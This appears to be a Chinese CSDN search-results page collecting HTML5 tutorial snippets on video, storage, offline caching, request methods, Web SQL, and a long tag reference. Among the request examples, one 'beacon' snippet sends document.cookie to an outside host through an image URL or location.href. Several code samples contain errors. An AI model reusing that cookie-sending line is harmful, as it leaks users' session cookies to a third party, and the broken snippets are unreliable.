精华内容
下载资源
问答
  • HTML5 代码实例

    千次阅读 2016-01-29 15:09:31
    html5代码 作用 代码 备注 video 抱歉,您的浏览器不支持HTML5 video var myVideo=document.getElementById("h5v-video-ID"); myVideo.pause(); myVideo.play(); alert(myVideo.src); myVide

    1. HTML5 代码与测试

    html5代码
    作用 代码 备注
    video <video id="h5v-video-ID" width="100%" height="100%" preload="meta" x-webkit-airplay="allow" webkit-playsinline="true" autoplay="" src="http://XXX.mp4"><p class="no-support">抱歉,您的浏览器不支持HTML5 video</p></video>


    var myVideo=document.getElementById("h5v-video-ID");
    myVideo.pause();
    myVideo.play();
    alert(myVideo.src);
    myVideo.width=335;// 变小
    myVideo.width=535;//变大
     
    cookie http://blog.csdn.net/huazhongkejidaxuezpp/article/details/50259419  
    localstorage http://blog.csdn.net/huazhongkejidaxuezpp/article/details/50283081  
    HTML5 离线缓存-manifest js可以手动更新本地缓存:

    window.applicationCache.update();




    即使下载完新的缓存,也不意味这页面会更新,我们需要重新加载一次页面


     if (confirm('页面已更新,是否加载新内容?')) {
            window.location.reload();
          }



    Manifest的特点
    离线浏览: 用户可以在离线状态下浏览网站内容。


    更快的速度: 因为数据被存储在本地,所以速度会更快.


    减轻服务器的负载: 浏览器只会下载在服务器上发生改变的资源。

    更多参考:

    http://blogread.cn/it/article/7176
    http://www.cnblogs.com/dolphinX/p/3439970.html
     
    向服务器请求数据(发送get/post请求)
    方法零:
    方法一:form  get+post
    <form action="http://XXX.jsp" method="get" id='matchWrapperForm' target="_blank">
    <td><input type='submit' value='match'></td></tr>
    <tr><td>fromCity:</td><td><input name='fromCity'  value='PEK' /></td></tr>
    <tr><td>toCity:</td><td><input name='toCity'  value='SHA'></td></tr>
    </form>
    方法一:ajax(post + get)

    post:

    var url = '/data.php';
          var params = [
                'id=934875',
                'limit=20'
          ];
          var req = new XMLHttpRequest();
          req.onreadystatechange = function() {
                if (req.readyState=== 4) {
                      var responseHeaders = req.getAllResponseHeaders();
                      var data = req.responseText;
                }
          }
          req.open('GET', url + '?' + params.join('&'), true);
          req.setRequestHeader('X-Requested-With', 'XMLHttpRequest');
          req.send(null);

    get :
            var url="xxx";

            xmlHttp=GetXmlHttpObject();
            xmlHttp.onreadystatechange=function()
            {
                if (xmlhttp.readyState==4 && xmlhttp.status==200)
                {
                    var d= xmlHttp.responseText;
                    var json =JSON.parse(d);


                    document.getElementById("resultget").value=json.mockposturl;


                    /
                }
            }


            xmlHttp.open("GET",url,true);
            xmlHttp.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
            xmlHttp.send();

    方法二:灯标(不能发送POST 数据
    //第一种GET方式  
    new Image().src="http://www.3g-sec.com/forum.php?cookie="+escape(document.cookie);  
    //第二种GET方式  
    location.href="http://www.3g-sec.com/forum.php?cookie="+escape(document.cookie); 



    具体:
    var url = '/status_tracker.php';
          var params = [
                'step=2',
                'time=1248027314'
          ];
          (new Image()).src = url + '?' + params.join('&');

    注:
     服务器取得此数据并保存下来,而不必向客户端返回什么,因此没有实际的图像显示。这是将信息发回服务器的最有效方法。其开销很小,而且任何服务器端错误都不会影响客户端。
    方法三:动态脚本标签插入

      var scriptElement = document.createElement('script');
          scriptElement.src = 'http://any-domain.com/javascript/lib.js';//任意的url
          document.getElementsByTagName_r('head')[0].appendChild(scriptElement);
          function jsonCallback(jsonString) {
                var data = ('(' + jsonString + ')');
          }

    注:  但是动态脚本标签插入与XHR相比只提供更少的控制。你不能通过请求发送信息头。参数只能通过GET方法传递,不能用POST。你不能设置请求的超时或重试,实际上,你不需要知道它是否失败了。你必须等待所有数据返回之后才可以访问它们。你不能访问响应信息头或者像访问字符串那样访问整个响应报文。

    方法四:使用document.write直接写入
    <script type="text/javascript">  
    var v='其实这个例子举得非常失败,我。。。';   
    document.write('<script type="text\/javascript" src="s.js?"'+Math.random()+'><\/script>');   
    </script>  
    这两种都能轻松的动态创建一个script标签,来构造get请求

    参考:
    http://sjolzy.cn/JS-GET-request-for-the-dynamic-structure.html
    http://www.html5china.com/js/jsadv/20111120_2731.html
     
    js跨域及解决方案 http://blog.csdn.net/huazhongkejidaxuezpp/article/details/50607399  
    HTML5 Web SQL 数据库---
    SQLite数据库
    1) 与 会话级别的本地存储:sessionStorage ,永久本地存储:localStorage 的区别

    虽然Html5已经提供了功能强大的localStorage和sessionStorage,但是他们两个都只能提供存储简单数据结构的数据,对于复杂的Web应用的数据却无能为力。
    逆天的是Html5提供了一个浏览器端的数据库支持,允许我们直接通JS的API在浏览器端创建一个本地的数据库,而且支持标准的SQL的CRUD操作,让离线的Web应用更加方便的存储结构化的数据

    2)存储在了:假定我安装到了C:\Documents and Settings\charles.wang\Local Settings\Application Data\Google\Chrome
    那么SQLite数据库就安装到了$CHROME_HOME\User Data\Default\databases中
    这个目录中databases.db是当前用户的所有创建的数据库的配置,而file__0目录则是数据库表文件目录

    用法:
    http://www.runoob.com/html/html5-web-sql.html
    http://www.2cto.com/kf/201205/130762.html

    http://www.cnblogs.com/fly_dragon/p/3946012.html
     
    js内存泄漏    
         
         
         
         
         
         
         
         
         
         
         
         
         
         

    展开全文
  • notepad++ 支持jquery \css3 \html5代码提示

    千次下载 热门讨论 2012-01-02 10:06:12
    让notepad++ 支持jquery \css3 \html5代码提示 代码提示的xml文档默认存放在:你的安装盘-》Program Files\Notepad++\plugins\APIs下,解压后,将里面的文件拷贝并替换掉原来的xml文件即可
  • HTML5代码大全

    千次阅读 2018-12-10 21:59:00
    一、HTML各种命令的代码: 1、文本标签(命令) <pre></pre> 创建预格式化文本 <h1></h1> 创建最大的标题 <h6></h6> 创建最小的标题 <b></b> 创建黑体字 <...

    一、HTML各种命令的代码:

    1、文本标签(命令) 

    <pre></pre>         创建预格式化文本 

    <h1></h1>         创建最大的标题

    <h6></h6>          创建最小的标题 

    <b></b>           创建黑体字 

    <i></i>           创建斜体字 

    <tt></tt>          创建打字机风格的字体 

    <cite></cite>        创建一个引用,通常是斜体 

    <em></em>          加重一个单词(通常是斜体加黑体) 

    <strong></strong>      加重一个单词(通常是斜体加黑体) 

    <font size=?></font>     设置字体大小,从 1 到 7 

    <font color=?></font>    设置字体的颜色,使用名字或十六进制值

     

    2、图形(命令) 

    <img src="name">       添加一个图像 

    <img src="name" align=?>   排列对齐一个图像:左中右或上中下 

    <img src="name" border=?>  设置围绕一个图像的边框的大小 

    <hr>             加入一条水平线 

    <hr size=?>         设置水平线的大小(高度) 

    <hr width=?>         设置水平线的宽度(百分比或绝对像素点) 

    <hr noshade>         创建一个没有阴影的水平线  

     

    3、链接(命令) 

    <a href="URL"></a>      创建一个超链接 

    <a href="mailto:EMAIL"></a> 创建一个自动发送电子邮件的链接  

    <a name="NAME"></a>     创建一个位于文档内部的靶位  

    <a href="#NAME"></a>     创建一个指向位于文档内部靶位的链接   

     

    4、格式排版(命令) 

    <p>             创建一个新的段落 

    <p align=?>         将段落按左、 中、 右对齐 

    <br>             插入一个回车换行符 

    <blockquote></blockquote>  从两边缩进文本 

    <dl></dl>          创建一个定义列表 

    <dt>             放在每个定义术语词之前 

    <dd>             放在每个定义之前 

    <ol></ol>          创建一个标有数字的列表 

    <li>             放在每个数字列表项之前,并加上一个数字 

    <ul></ul>          创建一个标有圆点的列表 

    <li>             放在每个圆点列表项之前,并加上一个圆点 

    <div align=?>        一个用来排版大块HTML 段落的标签,也用于格式化表

     

    二、HTML基本语法  

    1.文件格式

    <html></html>(文件的开头与结尾) 主题

    <title></title>(放在文件的开头)

    文头区段<head></head>(描述文件的信息)

    内文区段<body></body>(放此文件的内容)

     

    2.文本

    标题<h?></h>(?=1~6,改变标题字的大小)

    标题对齐<h align=right,left,center></h>

    字加大<big></big>

    字变小<small></small>

    粗体字<b></b>

    斜体字<i></i>

    底线字<u></u>

    上标字<sup></sup>

    下标字<sub></sub>

    居中<center></center>

    居左<left> </left>

    居右<right> </right>

    基本字体大小<basefont size>(取值范围从1到7,默认值为3)

    改变字体大小<font size=?></font>(?=1~7)

    字体颜色<font color=#rrggbb></font>(RGB色码)

    指定字型<font face=?></font>(?=宋体,楷体等)

     

    3.超链接

    网址链结<a href="URL"></a>

    设定锚点<a name="?"></a>(?以容易记为原则)

    链结到锚点<a href="#?"></a>(同一份文件)

    <a href="URL#?"></A>(锚点不同文件)

     

    4.图形

    显示图形<img src="URL"></a>

    图形位置<img src="URL" align=top,bottom,middle,left,right>(分别为上、下、中、左、右的位置)

     图形取代文字<img src="URL"alt=?>(无法显示图形时用)

    图形尺寸<img src="URL" width=? height=?>(?以像素为单位)

    连结图形边线<img src="URL"border=?>(?以像素为单位)

    图形四周留白<img src="URL"hspace=? vspace=?>(?以像素为单位)

     

    5.段落

    段落<p></p>

    断行<br></br>

    横线<hr>

    横线厚度<hr size=?>(?以像素为单位)

    横线长度<hr width=?>(?以像素为单位)

    横线长度<hr width=?%>(?与页宽相比较)

    实横线<hr noshade>(无立体效果)

     

    6.背景

    背景图案<body background=图形文件名>(图形文件格式为gif和jpg)

    背景颜色<body bgcolor=#rrggbb>(RGB色码)

    背景文字颜色<body text=#rrggbb>(RGB色码)

    未链结点颜色<body link=#rrggbb>(RGB色码)

    已链结点颜色<body vlink=#rrggbb>(RGB色码)

    正在链结点颜色<body alink=#rrggbb(RGB色码)

     

    7.文件结构

    文件类型 <HTML></HTML> (放在档案的开头与

    文件主题 <TITLE></TITLE> (必须放在「文头」区块内)

    文头 <HEAD></HEAD> (描述性资料,像是「主题」)

    文体 <BODY></BODY> (文件本体) (由浏览器控制的显示风格)

    标题 <H?></H?> (从1到6,有六层选择)

    标题的对齐 <H? ALIGN=LEFT|CENTER|RIGHT></H?>

    区分 <DIV></DIV>

    区分的对齐 <DIV ALIGN=LEFT|RIGHT|CENTER|JUSTIFY></DIV>

    引文区块 <BLOCKQUOTE></BLOCKQUOTE> (通常会内缩)

     强调 <EM></EM> (通常会以斜体显示)

    特别强调 <STRONG></STRONG> (通常会以加粗显示)

    引文 <CITE></CITE> (通常会以斜体显示)

    码 <CODE></CODE> (显示原始码之用)

    样本 <SAMP></SAMP> 键盘输入 <KBD></KBD>

    变数 <VAR></VAR>

    定义 <DFN></DFN> (有些浏览器不提供)

    地址 <ADDRESS></ADDRESS>

    大字 <BIG></BIG>

    小字 <SMALL></SMALL> 与外观相关的标签(作者自订的表现方式)

    加粗 <B></B>

    斜体 <I></I>

    底线 <U></U> (尚有些浏览器不提供)

    删除线 <S></S> (尚有些浏览器不提供)

    下标 <SUB></SUB> 上标 <SUP></SUP>

    打字机体 <TT></TT> (用单空格字型显示)

    预定格式 <PRE></PRE> (保留文件中空格的大小)

    预定格式的宽度 <PRE WIDTH=?></PRE>(以字元计算)

    向中看齐 <CENTER></CENTER> (文字与图片都可以)

    闪耀 <BLINK></BLINK> (有史以来最被嘲弄的标签)

    字体大小 <FONT SIZE=?></FONT>(从1到7)

    改变字体大小 <FONT SIZE=+|-?></FONT>

    基本字体大小 <BASEFONT SIZE=?> (从1到7; 内定为3)

    字体颜色 <FONT COLOR="#$$$$$$"></FONT>  

     

    8.特殊字元

    (以下标签需用小写) 特别符号 &#?; (其中 ? 代表 ISO 8859-1 的编码)

     < < > > & & " "

    注册商标TM ?  N1.0+ 注册商标TM ? 著作权符号 ?  N1.0+ 著作权符号 ?

     

    9.表单

    (通常需要与CGI程式配合)

    定义表单 <FORM ACTION="URL" METHOD=GET|POST></FORM>  N2.0

    上传档案 <FORM ENCTYPE="multipart/form-data></FORM>

    输入栏位 <INPUT TYPE="TEXT|PASSWORD|CHECKBOX|RADIO|IMAGE|HIDDEN|SUBMIT|RESET">

    栏位名称 <INPUT NAME="***">

    栏位内定值 <INPUT value="***">

    已选定 <INPUT CHECKED> (适用於checkboxes与 radio boxes)

    栏位宽度 <INPUT SIZE=?> (以字元数为单位)

    最长字数 <INPUT MAXLENGTH=?> (以字元数为单位)

    下拉式选单 <SELECT></SELECT> 下拉式选单名称 <SELECT NAME="***"></SELECT>

    选单项目数量 <SELECT SIZE=?></SELECT>

    多选式选单 <SELECT MULTIPLE> (多选)

    选项 <OPTION>

    内定选项 <OPTION SELECTED>

    文字输入区 <TEXTAREA ROWS=? COLS=?></TEXTAREA>

    输入区名称 <TEXTAREA NAME="***"></TEXTAREA>  N2.0

    输入区换行方式 <TEXTAREA WRAP=OFF|VIRTUAL|PHYSICAL></TEXTAREA>

     

    10.表格 

    3.0 定义表格 <TABLE></TABLE> 

    3.0 表格框线 <TABLE BORDER></TABLE> (有或没有) 

    N1.1 表格框线 <TABLE BORDER=?></TABLE>(可以设定数值) 

    N1.1 储存格左右留白 <TABLE CELLSPACING=?> 

    N1.1 储存格上下留白 <TABLE CELLPADDING=?> 

    N1.1 表格宽度 <TABLE WIDTH=?> (以pixels为单位) 

    N1.1 宽度比率 <TABLE WIDTH=%> (页宽为100%)

    3.0 表格列 <TR></TR> 

    3.0 表格列内容看齐 <TR ALIGN=LEFT|RIGHT|CENTER VALIGN=TOP|MIDDLE|BOTTOM> 

    3.0 储存格 <TD></TD> (须与列并用) 

    3.0 储存格内容看齐 <TD ALIGN=LEFT|RIGHT|CENTER VALIGN=TOP|MIDDLE|BOTTOM> 

    3.0 不换行 <TD NOWRAP> 

    N3.0 储存格背景颜色 <TD BGCOLOR=#$$$$$$> 

    3.0 储存格横向连接 <TD COLSPAN=?> 

    3.0 储存格纵向连接 <TD ROWSPAN=?> 

    N1.1 储存格宽度 <TD WIDTH=?> (以pixels为单位) 

    N1.1 储存格宽度比率 <TD WIDTH=%> (页宽为100%) 

    3.0 表格标题 <TH></TH> (跟<TD>一样,不过会对中并加粗) 

    3.0 表格标题对齐 <TH ALIGN=LEFT|RIGHT|CENTER VALIGN=TOP|MIDDLE|BOTTOM>

    3.0 表格标题不换行 <TH NOWRAP> 

    3.0 表格标题占几栏 <TH COLSPAN=?> 

    3.0 表格标题占几列 <TH ROWSPAN=?> 

    N1.1 表格标题宽度 <TH WIDTH=?> (以pixels为单位) 

    N1.1 表格标题比率宽度<TH WIDTH=%> (页宽为100%)

    3.0 表格抬头 <CAPTION></CAPTION> 

    3.0 表格抬头看齐 <CAPTION ALIGN=TOP|BOTTOM>(在表格之上/之下) 视框 (定义与控制萤幕上的特定区域) 

    N2.0 视框格式总定义 <FRAMESET></FRAMESET> (取代<BODY>) 

    N2.0 视框行长度分配 <FRAMESET ROWS=,,,></FRAMESET>(pixels 或 %) 

    N2.0 视框行长度分配 <FRAMESET ROWS=*></FRAMESET> (* = 相对大小) 

    N2.0 视框栏宽度分配 <FRAMESET COLS=,,,></FRAMESET>(pixels 或 %) 

    N2.0 视框栏宽度分配 <FRAMESET COLS=*></FRAMESET> (* =相对大小) 

    N2.0 定义个别视框 <FRAME> (定义个别视框)

    N2.0 个别视框内容 <FRAME SRC="URL"> 

    N2.0 个别视框名称 <FRAME NAME="***"|_blank|_self|_parent|_top> 

    N2.0 边缘宽度 <FRAME MARGINWIDTH=?> (「左」与「右」边界) 

    N2.0 边缘高度 <FRAME MARGINHEIGHT=?> (「天顶」与「地底」边界) 

    N2.0 卷动条 <FRAME SCROLLING="YES|NO|AUTO"> 

    N2.0 不可改变大小 <FRAME NORESIZE> 

    N2.0 无视框时的内容 <NOFRAMES></NOFRAMES>(如果浏览器不提供视框功能的话)   

     

    二、连结与图形

    连结 <A HREF="URL"></A>

    连结到锚点 <A HREF="URL#***"></A>(如果锚点在另一个档案) 

    <A HREF="#***"></A> (如果锚点目前的档案)

    连结到目的视框 <A HREF="URL" TARGET="***"></A>

    设定锚点 <A NAME="***"></A>

    图形 <IMG SRC="URL">

    图形看齐方式 <IMG SRC="URL" ALIGN=TOP|BOTTOM|MIDDLE>

    图形看齐方式 <IMG SRC="URL"  ALIGN=LEFT|RIGHT|TEXTTOP|ABSMIDDLE|BASELINE|ABSBOTTOM> 取代文字 <IMG SRC="URL" ALT="***"> (如果没有办法显示图形则显示此文字)

    点选图 <IMG SRC="URL" ISMAP> (需要CGI程式) 

    N2.0 点选图 <IMG SRC="URL" USEMAP="URL"> 

    N2.0 地图 <MAP NAME="***"></MAP>(描述地图) 

    N2.0 段落 <AREA SHAPE="RECT" COORDS=",,," HREF="URL"|NOHREF> 

    3.0 大小 <IMG SRC="URL" WIDTH="?" HEIGHT="?">(以pixels为单位)

    N1.0 图形边缘 <IMG  SRC="URL" BORDER=?> (以pixels为单位) 

    N1.0 图形边缘空间 <IMG SRC="URL" HSPACE=? VSPACE=?> (以pixels为单位) 

    N1.0 低解析度图形 <IMG SRC="URL" LOWSRC="URL"> 

    N1.1 用户端拉 <META HTTP-EQUIV="Refresh" C>(使用端自动更新 ) 

    N2.0 内嵌物件 <EMBED SRC="URL"> (将物件插入页面) 

    N2.0 内嵌物件大小 <EMBED SRC="URL" WIDTH="?" HEIGHT="?">

     

    三、分隔

    段落 <P> (通常是两个return) 

    3.0 段落 <P></P> (新定义成容器型标签)  

    3.0 文字看齐方式 <P ALIGN=LEFT|CENTER|RIGHT></P> 换行 <BR> (一个return) 

    N1.0 文字部份看齐方式<BR CLEAR=LEFT|RIGHT|ALL>(与图形合用时) 横线 <HR> 

    N1.0 横线对齐 <HR ALIGN=LEFT|RIGHT|CENTER> 

    N1.0 横线厚度 <HR SIZE=?> (以pixels为单位) 

    N1.0 横线宽度 <HR WIDTH=?> (以pixels为单位)

    N1.0 横线比率宽度 <HR WIDTH=%> (以页宽为100%) 

    N1.0 实线 <HR NOSHADE> (没有立体效果) 

    N1.0 不可换行 <NOBR></NOBR> (不换行) 

    N1.0 可换行处 <WBR> (如果需要,可在此断行)

    列举 (可以巢状列举)

    无次序式列举 <UL><LI></UL> (<LI> 放在每一项前)

    N1.0 公布式列举 <UL TYPE=DISC|CIRCLE|SQUARE>(定义全部的列举项)

    <LI TYPE=DISC|CIRCLE|SQUARE>(定义这个及其後的列举项)

    有次序式列举 <OL><LI></OL> (<LI> 放在每一项前) 

    N1.0 数标型态 <OL TYPE=A|a|I|i|1> (定义全部的列举项) 

    <LI TYPE=A|a|I|i|1> (定义这个及其後的列举项) 

    N1.0 起始数字 <OL value=?> (定义全部的列举项) 

    <LI value=?> (定义这个及其後的列举项)

    定义式列举 <DL><DT><DD></DL>(<DT>项目, <DD>定义)

    表单式列举 <MENU><LI></MENU>(<LI> 放在每一项前)

    目录式列举 <DIR><LI></DIR> (<LI> 放在每一项前)

     

    四、背景与颜色 

    3.0 重复排列的背景 <BODY BACKGROUND="URL"> 

    N1.1+ 背景颜色 <BODY BGCOLOR="#$$$$$$"> (依序为红、绿、蓝) 

    N1.1+ 文字颜色 <BODY TEXT="#$$$$$$"> 

    N1.1+ 连结颜色 <BODY LINK="#$$$$$$"> 

    N1.1+ 看过的连结 <BODY VLINK="#$$$$$$"> 

    N1.1 使用中的连结 <BODY ALINK="#$$$$$$">

     

    五、杂项

    说明 <!-- *** --> (浏览器不会显示) 

    <!--修改滚动条--> 

    <style type="text/css">

     body {  scrollbar-face-color: #330033;  scrollbar-shadow-color: #FFFFFF;  scrollbar-highlight-color: #FFFFFF;  scrollbar-3dlight-color: #FFFFFF;  scrollbar-darkshadow-color: #FFFFFF;  scrollbar-track-color: #330033;  scrollbar-arrow-color: #FFFFFF;  } 

    </style>

    <!--修改滚动条结束-->

    将上面的代码放在叶子代码的<head></head>之间,颜色可根据自己的需要修改。

    滚动条的代码意思如下:

    Scrollbar-Face-Color为滚动条表面颜色设定;

    Scrollbar-Track-Color为滚动条底板颜色设定;

    Scrollbar-Darkshadow为滚动条下边和右边边沿颜色设定;

    Scrollbar-Highlight-Color为滚动条上斜面和左斜面颜色设定;

    Scrollbar-Shadow-Color为滚动条下斜面和右斜面颜色设定;

    Scrollbar-3Dlight-Color为滚动条上边和左边的边沿颜色设定;

    Scrollbar-Arrow-Color为滚动条两端箭头颜色设定。 

    <!> 跑馬燈

    <marquee>...</marquee>普通捲動

    <marquee behavior=slide>...</marquee>滑動

    <marquee behavior=scroll>...</marquee>預設捲動

    <marquee behavior=alternate>...</marquee>來回捲動

    <marquee direction=down>...</marquee>向下捲動

    <marquee direction=up>...</marquee>向上捲動

    <marquee direction=right></marquee>向右捲動

    <marquee direction=’left’></marquee>向左捲動

    <marquee loop=2>...</marquee>捲動次數

    <marquee width=180>...</marquee>設定寬度

    <marquee height=30>...</marquee>設定高度

    <marquee bgcolor=FF0000>...</marquee>設定背景顏色

    <marquee scrollamount=30>...</marquee>設定捲動距離

    <marquee scrolldelay=300>...</marquee>設定捲動時間

     

    https://wenku.baidu.com/view/dd963a3e5fbfc77da369b177.html

    转载于:https://www.cnblogs.com/ince/p/10099460.html

    展开全文
  • HTML5代码可以和jsp混合在一起

    千次阅读 2016-06-20 14:36:21
    HTML5代码可以和jsp混合在一起。 JSP实质上只是为HTML页面封装了对HTTP协议的Request对象和Rsponse对象而已。 就比如说,获取上一个页面的数据、操作Session等。 这也就是,为什么会说“JSP是在HTML里面写Java...
    HTML5代码可以和jsp混合在一起。
    JSP实质上只是为HTML页面封装了对HTTP协议的Request对象和Rsponse对象而已。
    就比如说,获取上一个页面的数据、操作Session等。
    这也就是,为什么会说“JSP是在HTML里面写Java代码,而Servlet是在JAVA里面写HTML代码
    其实不过是封装了HTTP协议的请求响应而已。
    而HTML5,只是HTML语言的新一代标准。
    展开全文
  • VSCode快捷键创建html5代码

    万次阅读 2019-10-17 15:29:02
    1,在VScode项目的目录下新建一个index.html文件 然后再代码区第一行输入!并回车; 就能得到如下图HTML标准格式的代码

    1,在VScode项目的目录下新建一个index.html文件

    然后再代码区第一行输入!并回车;

    就能得到如下图HTML标准格式的代码了

    在这里插入图片描述

    展开全文
  • 网站利于搜索引擎优化的Html5代码

    千次阅读 2018-07-12 16:28:24
    1、下面是Html5代码&lt;!DOCTYPE html&gt; &lt;html&gt; &lt;head&gt; &lt;meta charset="utf-8"&gt; &lt;meta http-equiv="x-ua-compatible" content=&...
  • VS code中设置html5 代码片段(vue)

    千次阅读 2018-11-26 12:57:17
    VS code中设置html5 代码片段(vue) 文件 —&amp;amp;gt; 首选项 —&amp;amp;gt; 用户代码片段,打开html.json(HTML) 说明:每一行都要用双引号&amp;quot;引起来,并且用逗号,分隔 ,每个需要显示...
  • 留言板 HTML5代码

    千次阅读 2020-06-05 20:46:35
    代码如下: 首先是style: #di1{ border: 1px solid #D3D3D3; width: 700px; height: 500px; background-color: azure; } p{ font-size: 10px; color: #008000; } #di2{ border: 1px solid #FFFFFF; width: 400px; ...
  • 实话,javascript在学习过程中会很枯燥,并不是你刚学就可以做出很多华丽的特效,好玩的游戏,和漂亮的代码,更多的时候都是无聊的,有的人说我对javascript很有兴趣,人性本是好逸恶劳,最喜欢吃喝玩乐,学什么...
  • Html5代码示例_微信H5微场景(10个)源码

    千次下载 热门讨论 2015-11-27 09:24:00
    2014中国自媒体年会场景应用(006) 2015龙湖仕官生校园招聘手机场景应用特效(010) 婚礼电子请帖场景应用(016) 卡片式场景应用(009) 择居网人才招聘手机场景应用(008) ...中通快递招聘手机场景应用HTML5场景特效(014)
  • 用asp.net开发网站,返回的页面是HTML5代码,但是不能正常显示h5控件,但是用本地记事本写同样的代码用浏览器打开就能正常显示,我可以肯定我的浏览器是支持h5的,而且vs也是2012的
  • html5代码如何转成小程序代码

    千次阅读 2018-12-17 17:57:00
    插件源码 链接:https://pan.baidu.com/s/1pGY8ZsdESaQGEzoEgpb_Rw... 放到与pages文件夹同级目录下 js中调用 //引入 var wxParse = require('../../wxParse/wxParse.js');...wxParse.wxParse('article', 'html',...
  • vscode快速生成 HTML5代码

    千次阅读 2020-02-17 14:20:16
    ! tab 依次按以上两个键就好了
  • HTML5代码调用手机摄像头

    千次阅读 2018-07-11 17:57:16
    做手机移动端的时候,有时需要调用手机摄像头,有一个简单的方法使用input:file标签,不需要复杂代码操作就能实现调用拍照、相册等功能。 capture – 设置选择需要调用的功能 camcorder – 摄像机 microphone...
  • 最近在网上看到一个《一个很简短但很炫的html5代码》,特意收藏一下: [鼠标移入,酷炫样式] <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" ...
  • 在这篇文章中,小编为大家收集了6款Web开发中注度最高的HTML5代码生成器,希望能帮到Web开发者。 Initializr Initializr是一款HTML5模板生成器,帮助你快速启动基于HTML5模板的新项目。总之,Initializr 是制作 ...
  • Xcode运行HTML5代码

    千次阅读 2016-07-13 10:07:49
    NSString *filePath = [[NSBundle mainBundle] pathForResource:@"index" ofType:@"html"]; NSString *fileContent = [NSString stringWithContentsOfFile:filePath encoding:NSUTF8StringEncoding error:nil]; ...
  • 用Markdown来编写HTML5代码

    千次阅读 2016-11-09 14:33:33
    一直使用Markdown语言来编写工作中的文档,但是其Markdown很多的功能我很少使用到,今天学习html5突发奇想,Markdown支持html5新增的标签吗?果然,很多标签都支持,而且效果很好,为了能更好的使用Markdown在这里...
  • cocos2d-html5 代码测试和html5盘旋菜单实现

    千次阅读 多人点赞 2012-06-08 16:05:32
    当完成cocos2d-x后,又一巨作面世——cocos2d-html5。首先来玩一下cocos2d-html5,他的大部分功能都已经在测试的demo里面得到体现。 本文原创,转载注明出处:...
  • HTML5代码:超炫的粒子特效

    千次阅读 2013-04-18 12:18:39
    今天在中国移动MM论坛HTML5跨平台开发讨论区看到一个不错的示例,分享给大家咯。展示一个使用HTML5的Canvas画布API制作的,具有响应鼠标动作的具有粒子特效的动画,丝毫不必flash效果差。先来看下演示:...
  • 如图,嵌套的时候编译报错,请指点如何解决?
  • 我使用的是MyEclipse10工具,新建了一个html5文件,编写代码如下:login.htm 登陆页面 --> --> 登陆操作 用户登陆 登陆ID: 登陆密码:
  • 'http://m.weather.com.cn/data/101010100.html' //天气预报网站的WebService接口 }, function (ret,err) { if (ret) { api.alert({msg: JSON .stringify(ret)}); } else { api.alert({msg: JSON ....
  • 作者 | Thaís V译者 | 弯月,责编 | 屠敏出品 | CSDN(ID:CSDNnews)以下为译文:为了让你的 HTML5 代码引起Google等搜索引擎的注意,你需要在HTM...
  • 摘要: 发​现​A​P​I​C​l​o​u​d​倡​导​符​合​C​M​D​以​及​A​M​D​规​范​的​J​S​编​码​标​准​,​提​供​基​于​H​T​M​L​5​的​跨​平​台​A​p​p​编​译​,​并​开​放​大​...
  • 在写这个的时候,这是一个新的输入类型不支持任何浏览器。这意味着,浏览器不检查任何模式与url或电子邮件输入。的原因之一,这个输入类型没有模式可能是phonenumbers的事实不同于国家,因此可以防止使用一个标准的模式...

空空如也

空空如也

1 2 3 4 5 ... 20
收藏数 55,402
精华内容 22,160
关键字:

html5代码